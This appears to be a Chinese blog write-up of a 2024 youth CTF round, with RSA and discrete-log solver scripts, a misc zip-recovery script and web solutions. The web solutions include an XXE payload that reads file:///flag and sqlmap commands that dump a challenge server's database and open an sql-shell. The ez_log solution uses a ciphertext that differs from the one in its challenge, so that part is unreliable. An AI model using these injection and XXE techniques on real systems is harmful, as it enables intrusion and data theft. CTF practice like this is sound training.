首页 > 其他分享 >青少年CTF擂台挑战赛 2024 #Round 1

青少年CTF擂台挑战赛 2024 #Round 1

时间:2024-05-29 15:44:47浏览次数:29  
标签:-- qsnctf 2024 CTF print import data Round

青少年CTF擂台挑战赛 2024 #Round 1

crypto

1.解个方程

题目:

欢迎来到青少年CTF,领取你的题目,进行解答吧!这是一道数学题!!
p = 47435612565218266109508854832282268357
q = 300321076868253562295973190356379138721
e = 65537
d = ?

exp:

import gmpy2
from Crypto.Util.number import *

p = 47435612565218266109508854832282268357
q = 300321076868253562295973190356379138721
e = 65537

d = gmpy2.invert(e, (p-1)*(q-1))
print(d)

2.ez_log

题目:

from Crypto.Util.number import *
from random import *
flag=b'key{xxxxxxx}'
m=bytes_to_long(flag)
p=3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037
g=3

c=pow(g,m,p)

print(f'c=',c)

c=2882033031204451955849300082116379606829191152734610157419570072957225093526981234595692223713537455654127040941350351944238816639478723000482769192782416313780850187709300746003417086970621

思路:

\[c = g^m mod\ p \\ m = \log_g (c) mod\ p \]

就是求离散对数,利用sagemath

exp:

from Crypto.Util.number import *

p=3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037
g=3
c=1831873445641580727997893867146191295604212045524195935219199754379512541658254733750842607901453328493945521595773121138417256336939745821434975562454729487613360719216700028456919353732386

m = discrete_log(c,mod(g,p))

print(long_to_bytes(m))

3.ezrsa

题目:

from Crypto.Util.number import *
flag = b'qsnctf{xxx-xxxx-xxxx-xxxx-xxxxxxxxx}'
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
leak = p * q
e = 0x10001
c = pow(m, e, n)
print(f'c = {c}')
print(f'n = {n}')
print(f'leak = {leak}')
# c = 173595148273920891298949441727054328036798235134009407863895058729356993814829340513336567479145746034781201823694596731886346933549577879568197521436900228804336056005940048086898794965549472641334237175801757569154295743915744875800647234151498117718087319013271748204766997008772782882813572814296213516343420236873651060868227487925491016675461540894535563805130406391144077296854410932791530755245514034242725719196949258860635915202993968073392778882692892
# n = 1396260492498511956349135417172451037537784979103780135274615061278987700332528182553755818089525730969834188061440258058608031560916760566772742776224528590152873339613356858551518007022519033843622680128062108378429621960808412913676262141139805667510615660359775475558729686515755127570976326233255349428771437052206564497930971797497510539724340471032433502724390526210100979700467607197448780324427953582222885828678441579349835574787605145514115368144031247
# leak = 152254254502019783796170793516692965417859793325424454902983763285830332059600151137162944897787532369961875766745853731769162511788354655291037150251085942093411304833287510644995339391240164033052417935316876168953838783742499485868268986832640692657031861629721225482114382472324320636566226653243762620647

思如:

题目中泄露了 p*q ,可以算出 rm 都没 r 大。利用 r, 去还原 m

exp:

from Crypto.Util.number import *
import gmpy2

c = 173595148273920891298949441727054328036798235134009407863895058729356993814829340513336567479145746034781201823694596731886346933549577879568197521436900228804336056005940048086898794965549472641334237175801757569154295743915744875800647234151498117718087319013271748204766997008772782882813572814296213516343420236873651060868227487925491016675461540894535563805130406391144077296854410932791530755245514034242725719196949258860635915202993968073392778882692892
n = 1396260492498511956349135417172451037537784979103780135274615061278987700332528182553755818089525730969834188061440258058608031560916760566772742776224528590152873339613356858551518007022519033843622680128062108378429621960808412913676262141139805667510615660359775475558729686515755127570976326233255349428771437052206564497930971797497510539724340471032433502724390526210100979700467607197448780324427953582222885828678441579349835574787605145514115368144031247
leak = 152254254502019783796170793516692965417859793325424454902983763285830332059600151137162944897787532369961875766745853731769162511788354655291037150251085942093411304833287510644995339391240164033052417935316876168953838783742499485868268986832640692657031861629721225482114382472324320636566226653243762620647
e = 0x10001

r = n // leak
d = gmpy2.invert(e, (r-1))
# print(d)
m = pow(c, d, r)
print(long_to_bytes(m))

4.factor1

题目:

import gmpy2
import hashlib
from Crypto.Util.number import *

p = getPrime(512)
q = getPrime(512)
d = getPrime(256)
e = gmpy2.invert(d, (p**2 - 1) * (q**2 - 1))
flag = "qsnctf{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"
print(e)
print(p * q)
# 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859
# 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053

思如:这里跟2023 NepCTF random_RSA 其中一个步骤解法一样,可以参考[2023 NepCTF | Van1sh的小屋 (jayxv.github.io)](https://jayxv.github.io/2023/08/14/2023 NepCTF/)

\[e ⋅ d ≡ 1 ( mod ( p 2 − 1 ) ⋅ ( q 2 − 1 ) ) \]

1.先恢复d

exp:

def attack(N,e):
    convergents = continued_fraction(ZZ(e) / ZZ(int(N^2-9/4*N+1))).convergents()
    for c in convergents:
        k = c.numerator()
        d = c.denominator()
        if pow(pow(2, e, N), d, N) == 2:
            phi = (e * d - 1) // k #(p^2-1)*(q^2-1) = n^2+1-p^2-q^2
            return d
n = 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053
e = 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859
print(attack(n,e))
d = attack(n,e)

2.在根据n,e,d恢复p,q

exp:

import hashlib
import random

def gcd(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a


def getpq(n, e, d):
    p = 1
    q = 1
    while p == 1 and q == 1:
        k = d * e - 1
        g = random.randint(0, n)
        while p == 1 and q == 1 and k % 2 == 0:
            k //= 2
            y = pow(g, k, n)
            if y != 1 and gcd(y - 1, n) > 1:
                p = gcd(y - 1, n)
                q = n // p
    return p, q


def main():
    n = 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053
    e = 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859
    d = 63691166654760611586233830170653888570050734006064722630809918076234937115339
    p, q = getpq(n, e, d)
    flag = "qsnctf{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"
    print(flag)

if __name__ == '__main__':
    main()

web

1.PHP的后门

2.EasyMD5

3.PHP的XXE

页面是一个phpinfo()的界面,f12没找到xxe入口

学习BUUCTF-Real_buuctf xxe-CSDN博客

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
<name>&xxe;</name>
</root>

image-20240304151713023

4.Easy_SQLi

考点:sql注入

工具:sqlmap

学习https://blog.csdn.net/shuteer_xu/article/details/103966475

1.方法一:sqlmap一把梭

  1. 爆数据库
python sqlmap.py -u http://challenge.qsnctf.com:30123/login.php --data="uname=1&psw=1" --dbs
python sqlmap.py -u http://challenge.qsnctf.com:30123/login.php --data="uname=1&psw=1"  --dbms mysql --current-db

image-20240304180056456

-u 指定注入点地址

--data 指定要注入的参数

--dbs 爆破所以数据库

--dbms mysql 指定数据库类型为mysql

--current-db 爆破当前数据库

  1. 爆数据库qsnctf中的表
python sqlmap.py -u http://challenge.qsnctf.com:30123/login.php --data="uname=1&psw=1" --dbs -D qsnctf --tables

image-20240304180655704

-D 指定数据库

--tables 爆破所有数据表

  1. 爆破字段

    python sqlmap.py -u http://challenge.qsnctf.com:30123/login.php --data="uname=1&psw=1" --dbs -D qsnctf --tables -T users --columns
    
    image-20240304181642084

    -T 指定数据表

    --columns 爆破所有列

  2. 爆一下字段内容,看看有没有flag

    python sqlmap.py -u http://challenge.qsnctf.com:30199/login.php --data="unam
    e=1&psw=1" --dbs -D qsnctf --tables -T users --dump
    

    image-20240304183352870

--dump 爆出指定表的字段内容

方法二:sql-shell 数据库交互

学习https://www.cnblogs.com/AikN/p/14696863.html

  1. python sqlmap.py -u http://challenge.qsnctf.com:31802/login.php --data="unam
    e=admin" --batch --sql-shell
    

    --batch --sql-shell 获取注入点权限进入sql-shell模式

  2. 查询数据库

    database();

    image-20240304193207536

  3. 查询表

    select group_concat(table_name) from information_schema.tables where table_schema=database();

    image-20240304193731099

  4. 爆列名

    select column_name from information_schema.columns where table_schema=database() and table_name='users';

    image-20240304195055115

  5. 查看字段对应的内容

    select id,username,password from users;

    image-20240304200935655

misc

1.CTFer Revenge

可以看到是一个压缩包文件的16进制的倒转文件

方法一:使用CyberChef,Reverse和From hexdump, 得到zip文件,在爆破密码 ,密码为z12345

image-20240304201907870

方法二:编写python脚本,把每一行倒转,并且将中这部分16进制数据提取出来,生成zip文件

fs = open(r"E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\flag1.zip", 'wb')

with open('E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\是什么呢(仔细观察).txt', 'r') as f:
    lines = f.readlines()

# 对每一行进行倒序排列并写入新文件
with open('E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\output.txt', 'w') as file:
    for line in lines:
        reversed_line = line.strip()[::-1]  # 去除行尾的换行符,并对字符串进行倒序排列
        file.write(reversed_line + '\n')  # 将处理后的行写入新文件

# 从最后一行开始逐行倒序排列并写入新文件
with open('E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\output1.txt', 'w') as file:
    for i in range(len(lines)-1, -1, -1):  # 从最后一行开始逐行倒序排列
        reversed_line = lines[i].strip()[::-1]  # 去除行尾的换行符,并对字符串进行倒序排列
        file.write(reversed_line + '\n')  # 将处理后的行写入新文件

# 提取每一行中间的hex字符串
with open('E:\赛题文件\青少年CTF擂台挑战赛 2024 #Round 1\misc\CTFer Revenge\output1.txt', 'r') as f:
    lines = f.readlines()
    for line in lines:
        data = line.strip()[8:57]
        data = data.replace(' ', '')
        # print("".join(data.split()))
        fs.write(bytes.fromhex(data))
        print(data)

标签:--,qsnctf,2024,CTF,print,import,data,Round
From: https://www.cnblogs.com/lpppp/p/18220416

相关文章

  • 亮相CCIG2024,合合信息文档解析技术破解大模型语料“饥荒”难题
      近日,2024中国图象图形大会在古都西安盛大开幕。本届大会由中国图象图形学学会主办,空军军医大学、西安交通大学、西北工业大学承办,通过二十多场论坛、百余项成果,集中展示了生成式人工智能、大模型、机器学习、类脑计算等多个图像图形领域的进展。大模型技术......
  • hvv 前网安人必读的漏洞清单(2024年)
    数字化浪潮席卷全球,安全漏洞的发现和利用频率正以惊人的速度上升,尤其是工业自动化、绿色能源、财经领域、交通系统、国家防务以及医疗行业等关键部门,成为了网络攻击者的主要目标。数据侵犯和勒索软件的攻击层出不穷,凸显了安全漏洞正被黑客用作主要的攻击渠道。 本文梳理、......
  • 2024-05-29:用go语言,给定一个只包含正整数的数组 nums,任务是通过多次操作最小化数组的
    2024-05-29:用go语言,给定一个只包含正整数的数组nums,任务是通过多次操作最小化数组的长度。每次操作可以从数组中选择两个不同的下标i和j,使得nums[i]和nums[j]均为正整数。然后,将nums[i]除以nums[j]的余数插入数组末尾,同时删除原始的两个元素。最终要求计算进行操作......
  • 批量重命名工具分享,附上详细文件批量改名教程(2024年全新版)
    怎么批量重命名文件?作为办公一族难免会遇到一些文件管理难题,面对大量的文件需要进行重命名操作,你还在一个一个地重复操作吗?这样不仅耗费时间还大大地影响工作效率,那有什么简单快速的方法可以批量文件改名吗?答案是当然是有的!今天小编就给大家分享几个亲测好用的批量重命名工具,实......
  • 【权威出版|投稿优惠】2024年现代化教育与文化传播国际会议(ICMECC 2024)
    2024年现代化教育与文化传播国际会议2024InternationalConferenceonModernEducationandCulturalCommunication【1】会议简介2024年现代化教育与文化传播国际会议(ICMECC2024)是一次汇集全球教育和文化传播领域精英的盛会。本次会议旨在探讨现代化教育在文化传播中......
  • 2024年华为OD机试真题-传递悄悄话-Java-OD统一考试(C卷D卷)
     2024年OD统一考试(D卷)完整题库:华为OD机试2024年最新题库(Python、JAVA、C++合集) 题目描述:给定一个二叉树,每个节点上站着一个人,节点数字表示父节点到该节点传递悄悄话需要花费的时间。初始时,根节点所在位置的人有一个悄悄话想要传递给其他人,求二叉树所有节点上的人都接收......
  • Tron_CTF2024新生赛 MISC
    猿神?岂洞!!题目:腿短的好奇怪,难道有东西?密码在这,好像有电!.txt0362014324221316063736154275还有一个压缩包。我的解答:0362014324221316063736154275???这一串不知道是啥?一开始没解出来,如果没解出来的话,我认为是它本意应该是提示你压缩包密码为纯数字的意思。毕竟根据文本文件名......
  • 小抄 20240529
    1看多了暴富神话,很多人已经没有缓慢前行的耐心,只想少年成名、一飞冲天、先享受世界,指望有个金手指、好项目、好大哥,就能帮自己一夜改命。不把这种想法从脑子里移除掉,迟早会落入骗子的圈套,钱没赚着,信用卡、花呗、借贷软件全被刷爆,余生活在悔恨和抱怨里。2你和一个人关系的......
  • ctf-pwn 学习前知(1)
    学习pwn这个抽象到一定程度的东西,前期的坐牢是一定的,一个题目延申出的新知识也是超多的。所以写一个这个板块记录一下自己学习的东西,或许会有(2),(3)....checksec拿buuctf的test_your_nc为例子可以看到checksec后出现了很多东西Arch:amd64-64-little(程序架构信息,这是一个64位......
  • 2024年必备神器!会声会影让你的视频秒变大片,不学真的亏大了!!
    在数字内容创作的世界中,视频编辑无疑是一门艺术。它不仅需要技术的支持,更需要创作者的灵感和创意。作为一名数字内容制作专家,我深知一款优秀的视频编辑软件对于提升作品质量的重要性。而今天,我要向大家推荐的正是这样一款软件——会声会影2024。会声会影2024是一款领先的视频......